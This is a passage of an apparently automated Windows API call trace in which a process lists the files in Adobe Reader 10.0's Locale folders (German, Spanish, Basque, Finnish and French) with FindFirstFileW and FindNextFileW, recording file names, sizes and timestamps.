lpFindFileData=0x377eb9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81fe3480, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x8ca7, dwReserved0=0x0, dwReserved1=0x0, cFileName="DEXShare.asfx", cAlternateFileName="DEXSHA~1.ASF")) returned 1 [0147.725] FindClose (in: hFindFile=0x4191700 | out: hFindFile=0x4191700) returned 1 [0147.725] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x4180058 | out: hHeap=0x300000) returned 1 [0147.725] FindNextFileW (in: hFindFile=0x4191680, lpFindFileData=0x377ee18 | out: lpFindFileData=0x377ee18*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7ddfb360, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x2800, dwReserved0=0x0, dwReserved1=0x0, cFileName="Spelling.DAN", cAlternateFileName="")) returned 1 [0147.725] FindClose (in: hFindFile=0x4191680 | out: hFindFile=0x4191680) returned 1 [0147.725] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x4170050 | out: hHeap=0x300000) returned 1 [0147.725] FindNextFileW (in: hFindFile=0x41913c0, lpFindFileData=0x377f094 | out: lpFindFileData=0x377f094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d723420, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x82f5c380, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x82f5c380, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="de_DE", cAlternateFileName="")) returned 1 [0147.726] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\de_DE\\*", lpFindFileData=0x377ee18 | out: lpFindFileData=0x377ee18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d723420, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x82f5c380, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x82f5c380, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4191680 [0147.728] FindNextFileW (in: hFindFile=0x4191680, lpFindFileData=0x377ee18 | out: lpFindFileData=0x377ee18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d723420, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x82f5c380, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x82f5c380, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0147.728] FindNextFileW (in: hFindFile=0x4191680, lpFindFileData=0x377ee18 | out: lpFindFileData=0x377ee18*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d984a20, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xb000, dwReserved0=0x0, dwReserved1=0x0, cFileName="accessibility.DEU", cAlternateFileName="ACCESS~1.DEU")) returned 1 [0147.729] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\de_DE\\Services\\*", lpFindFileData=0x377eb9c | out: lpFindFileData=0x377eb9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81f71060, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81fe3480, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81fe3480, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4191700 [0147.730] FindNextFileW (in: hFindFile=0x4191700, lpFindFileData=0x377eb9c | out: lpFindFileData=0x377eb9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81f71060, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81fe3480, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81fe3480, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0147.730] FindNextFileW (in: hFindFile=0x4191700, lpFindFileData=0x377eb9c | out: lpFindFileData=0x377eb9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81fe3480, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x95b0, dwReserved0=0x0, dwReserved1=0x0, cFileName="DEXShare.asfx", cAlternateFileName="DEXSHA~1.ASF")) returned 1 [0147.730] FindClose (in: hFindFile=0x4191700 | out: hFindFile=0x4191700) returned 1 [0147.730] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x4180058 | out: hHeap=0x300000) returned 1 [0147.730] FindNextFileW (in: hFindFile=0x4191680, lpFindFileData=0x377ee18 | out: lpFindFileData=0x377ee18*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7ddfb360, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x2a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="Spelling.DEU", cAlternateFileName="")) returned 1 [0147.730] FindClose (in: hFindFile=0x4191680 | out: hFindFile=0x4191680) returned 1 [0147.730] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x4170050 | out: hHeap=0x300000) returned 1 [0147.730] FindNextFileW (in: hFindFile=0x41913c0, lpFindFileData=0x377f094 | out: lpFindFileData=0x377f094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d63ebe0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x82ec3e00, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x82ec3e00, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="es_ES", cAlternateFileName="")) returned 1 [0147.731] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\es_ES\\*", lpFindFileData=0x377ee18 | out: lpFindFileData=0x377ee18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d63ebe0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x82ec3e00, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x82ec3e00, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4191680 [0147.733] FindNextFileW (in: hFindFile=0x4191680, lpFindFileData=0x377ee18 | out: lpFindFileData=0x377ee18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d63ebe0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x82ec3e00, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x82ec3e00, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0147.733] FindNextFileW (in: hFindFile=0x4191680, lpFindFileData=0x377ee18 | out: lpFindFileData=0x377ee18*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d984a20, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xb200, dwReserved0=0x0, dwReserved1=0x0, cFileName="accessibility.ESP", cAlternateFileName="ACCESS~1.ESP")) returned 1 [0147.734] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\es_ES\\Services\\*", lpFindFileData=0x377eb9c | out: lpFindFileData=0x377eb9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81f24da0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81f24da0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81f24da0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4191700 [0147.734] FindNextFileW (in: hFindFile=0x4191700, lpFindFileData=0x377eb9c | out: lpFindFileData=0x377eb9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81f24da0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81f24da0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81f24da0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0147.734] FindNextFileW (in: hFindFile=0x4191700, lpFindFileData=0x377eb9c | out: lpFindFileData=0x377eb9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81f24da0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x9480, dwReserved0=0x0, dwReserved1=0x0, cFileName="DEXShare.asfx", cAlternateFileName="DEXSHA~1.ASF")) returned 1 [0147.735] FindClose (in: hFindFile=0x4191700 | out: hFindFile=0x4191700) returned 1 [0147.735] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x4180058 | out: hHeap=0x300000) returned 1 [0147.735] FindNextFileW (in: hFindFile=0x4191680, lpFindFileData=0x377ee18 | out: lpFindFileData=0x377ee18*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7ddfb360, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x2a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="Spelling.ESP", cAlternateFileName="")) returned 1 [0147.735] FindClose (in: hFindFile=0x4191680 | out: hFindFile=0x4191680) returned 1 [0147.735] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x4170050 | out: hHeap=0x300000) returned 1 [0147.735] FindNextFileW (in: hFindFile=0x41913c0, lpFindFileData=0x377f094 | out: lpFindFileData=0x377f094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d853f20, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x833608a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x833608a0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="eu_ES", cAlternateFileName="")) returned 1 [0147.735] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\eu_ES\\*", lpFindFileData=0x377ee18 | out: lpFindFileData=0x377ee18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d853f20, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x833608a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x833608a0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4191680 [0147.738] FindNextFileW (in: hFindFile=0x4191680, lpFindFileData=0x377ee18 | out: lpFindFileData=0x377ee18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d853f20, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x833608a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x833608a0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0147.738] FindNextFileW (in: hFindFile=0x4191680, lpFindFileData=0x377ee18 | out: lpFindFileData=0x377ee18*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9d67db00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7dbbfec0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9d67db00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xac00, dwReserved0=0x0, dwReserved1=0x0, cFileName="accessibility.EUQ", cAlternateFileName="ACCESS~1.EUQ")) returned 1 [0147.739] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\eu_ES\\Services\\*", lpFindFileData=0x377eb9c | out: lpFindFileData=0x377eb9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81f71060, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81fbd320, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81fbd320, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4191700 [0147.740] FindNextFileW (in: hFindFile=0x4191700, lpFindFileData=0x377eb9c | out: lpFindFileData=0x377eb9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81f71060, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81fbd320, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81fbd320, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0147.740] FindNextFileW (in: hFindFile=0x4191700, lpFindFileData=0x377eb9c | out: lpFindFileData=0x377eb9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9d67db00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81fbd320, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9d67db00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x9251, dwReserved0=0x0, dwReserved1=0x0, cFileName="DEXShare.asfx", cAlternateFileName="DEXSHA~1.ASF")) returned 1 [0147.740] FindClose (in: hFindFile=0x4191700 | out: hFindFile=0x4191700) returned 1 [0147.740] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x4180058 | out: hHeap=0x300000) returned 1 [0147.740] FindNextFileW (in: hFindFile=0x4191680, lpFindFileData=0x377ee18 | out: lpFindFileData=0x377ee18*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9d67db00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7f472300, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9d67db00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x2a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="Spelling.EUQ", cAlternateFileName="")) returned 1 [0147.740] FindClose (in: hFindFile=0x4191680 | out: hFindFile=0x4191680) returned 1 [0147.740] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x4170050 | out: hHeap=0x300000) returned 1 [0147.740] FindNextFileW (in: hFindFile=0x41913c0, lpFindFileData=0x377f094 | out: lpFindFileData=0x377f094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d723420, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x82fce7a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x82fce7a0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fi_FI", cAlternateFileName="")) returned 1 [0147.740] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\fi_FI\\*", lpFindFileData=0x377ee18 | out: lpFindFileData=0x377ee18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d723420, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x82fce7a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x82fce7a0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4191680 [0147.743] FindNextFileW (in: hFindFile=0x4191680, lpFindFileData=0x377ee18 | out: lpFindFileData=0x377ee18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d723420, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x82fce7a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x82fce7a0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0147.743] FindNextFileW (in: hFindFile=0x4191680, lpFindFileData=0x377ee18 | out: lpFindFileData=0x377ee18*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d9aab80, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xa600, dwReserved0=0x0, dwReserved1=0x0, cFileName="accessibility.SUO", cAlternateFileName="ACCESS~1.SUO")) returned 1 [0147.744] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\fi_FI\\Services\\*", lpFindFileData=0x377eb9c | out: lpFindFileData=0x377eb9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81f71060, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81fbd320, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81fbd320, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4191700 [0147.745] FindNextFileW (in: hFindFile=0x4191700, lpFindFileData=0x377eb9c | out: lpFindFileData=0x377eb9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81f71060, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81fbd320, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81fbd320, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0147.745] FindNextFileW (in: hFindFile=0x4191700, lpFindFileData=0x377eb9c | out: lpFindFileData=0x377eb9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81fbd320, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x9299, dwReserved0=0x0, dwReserved1=0x0, cFileName="DEXShare.asfx", cAlternateFileName="DEXSHA~1.ASF")) returned 1 [0147.745] FindClose (in: hFindFile=0x4191700 | out: hFindFile=0x4191700) returned 1 [0147.745] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x4180058 | out: hHeap=0x300000) returned 1 [0147.745] FindNextFileW (in: hFindFile=0x4191680, lpFindFileData=0x377ee18 | out: lpFindFileData=0x377ee18*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7ddd5200, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x2a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="Spelling.SUO", cAlternateFileName="")) returned 1 [0147.745] FindClose (in: hFindFile=0x4191680 | out: hFindFile=0x4191680) returned 1 [0147.745] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x4170050 | out: hHeap=0x300000) returned 1 [0147.745] FindNextFileW (in: hFindFile=0x41913c0, lpFindFileData=0x377f094 | out: lpFindFileData=0x377f094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d749580, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x82f824e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x82f824e0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fr_FR", cAlternateFileName="")) returned 1 [0147.745] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\fr_FR\\*", lpFindFileData=0x377ee18 | out: lpFindFileData=0x377ee18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d749580, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x82f824e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x82f824e0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4191680 [0147.748] FindNextFileW (in: hFindFile=0x4191680, lpFindFileData=0x377ee18 | out: lpFindFileData=0x377ee18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d749580, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x82f824e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x82f824e0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0147.748] FindNextFileW (in: hFindFile=0x4191680, lpFindFileData=0x377ee18 | out: lpFindFileData=0x377ee18*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d9aab80, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xb600, dwReserved0=0x0, dwReserved1=0x0, cFileName="accessibility.FRA", cAlternateFileName="ACCESS~1.FRA")) returned 1 [0147.749] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\fr_FR\\Services\\*", lpFindFileData=0x377eb9c | out: lpFindFileData=0x377eb9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81f71060, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81fe3480, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81fe3480, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4191700 [0147.749] FindNextFileW (in: hFindFile=0x4191700, lpFindFileData=0x377eb9c | out: lpFindFileData=0x377eb9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81f71060, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81fe3480, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81fe3480, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0147.749] FindNextFileW (in: hFindFile=0x4191700, lpFindFileData=0x377eb9c | out: lpFindFileData=0x377eb9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81fe3480, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x9850, dwReserved0=0x0, dwReserved1=0x0, cFileName="DEXShare.asfx", cAlternateFileName="DEXSHA~1.ASF")) returned 1 [0147.749] FindClose (in: hFindFile=0x4191700 | out: hFindFile=0x4191700) returned 1 [0147.749] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x4180058 | out: hHeap=0x300000) returned 1 [0147.749] FindNextFileW (in: hFindFile=0x4191680, lpFindFileData=0x377ee18 | out: lpFindFileData=0x377ee18*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7ddfb360, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x2a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="Spelling.FRA", cAlternateFileName="")) returned 1 [0147.750] FindClose (in: hFindFile=0x4191680 | out: hFindFile=0x4191680) returned 1 [0147.750] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x4170050 | out: hHeap=0x300000) returned 1 [0147.750] FindNextFileW (in: 